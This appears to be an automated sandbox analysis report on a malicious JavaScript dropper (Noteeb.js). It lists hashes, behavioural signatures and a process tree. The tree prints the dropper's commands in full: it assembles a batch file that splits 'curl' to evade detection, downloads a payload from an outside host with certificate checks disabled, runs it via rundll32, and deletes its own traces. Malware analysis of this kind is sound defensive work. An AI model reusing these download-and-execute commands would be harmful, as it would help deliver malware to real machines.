Analysis

  • max time kernel
    137s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231127-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-12-2023 14:39

General

  • Target

    Noteeb.js

  • Size

    79KB

  • MD5

    8ff33e1d1f20a1be265bd996c00d1463

  • SHA1

    d01ff951755e8f2c8f9a3e3697cd3cc1e0ffae4d

  • SHA256

    2dde87c739be776f15f4f269d527e3ab96429a2947c8e9cd8a51e39050ffe73a

  • SHA512

    3663e9e29f73f380d6bfd2e6bd851620a100a1a8997a05df57b599f336f601e95f201cf18417fa4f5088c8a787b41af6ea5eb9a313697239e99f0f8f63245051

  • SSDEEP

    1536:SepX4w2rWvddsQs2/HlAB7gKLQGwWAcViP0vW7c3Go:SoIYAUgxW7c3Go

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Noteeb.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:4908
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\Noteeb.js"
      2⤵
        PID:4452
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c echo|set /p="cu" > "C:\Users\Admin\AppData\Local\Temp\culpa.j.bat"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1120
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" set /p="cu" 1>"C:\Users\Admin\AppData\Local\Temp\culpa.j.bat""
          3⤵
            PID:3584
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo"
            3⤵
              PID:3372
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c echo rl "https://lorented.com/gf4/199960121" --output "C:\Users\Admin\AppData\Local\Temp\quo.z" --ssl-no-revoke --insecure --location >> "C:\Users\Admin\AppData\Local\Temp\culpa.j.bat"
            2⤵
              PID:3996
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\culpa.j.bat"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4124
              • C:\Windows\system32\curl.exe
                curl "https://lorented.com/gf4/199960121" --output "C:\Users\Admin\AppData\Local\Temp\quo.z" --ssl-no-revoke --insecure --location
                3⤵
                  PID:2220
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\culpa.j.bat"
                2⤵
                  PID:1624
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c ren "C:\Users\Admin\AppData\Local\Temp\quo.z" iure.h
                  2⤵
                    PID:3920
                  • C:\Windows\System32\rundll32.exe
                    "C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\iure.h" Enter
                    2⤵
                      PID:1304

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  • C:\Users\Admin\AppData\Local\Temp\culpa.j.bat
                    Filesize

                    133B

                    MD5

                    5e9c9b3cdbfd5f0440a7f6a2f9277e98

                    SHA1

                    edae3ba46ba0f07ce715c97a266c661c8668862f

                    SHA256

                    933eb418352ae7ed45c41566dc89c279239f11ede47300011d559108fe92620a

                    SHA512

                    2e5405bea1204e41b1f67989a5bfca7c0beb6d776a1f81db5fd53f57d57f9fbbe6aa35a6eb3251523d9d656aa134ec697f3191589d553e69858aac55c185c843

                  • C:\Users\Admin\AppData\Local\Temp\culpa.j.bat
                    Filesize

                    2B

                    MD5

                    a4dbfd6aef3b4045fe61aa0146debdf8

                    SHA1

                    93c30b1a3b78a6cefc99ed3bfa279e7afdc8e31d

                    SHA256

                    e67be79550661604d9b9c646911c80d74f6c691613224c207fa7088c20698acd

                    SHA512

                    1015d931879199f69dc5921dea1e7920dae2dea96898507437e6b5be01b0c425c5eaa180653f9f21da4e923eac9dcd661ae396f9f0085d09dda6b09808dadd55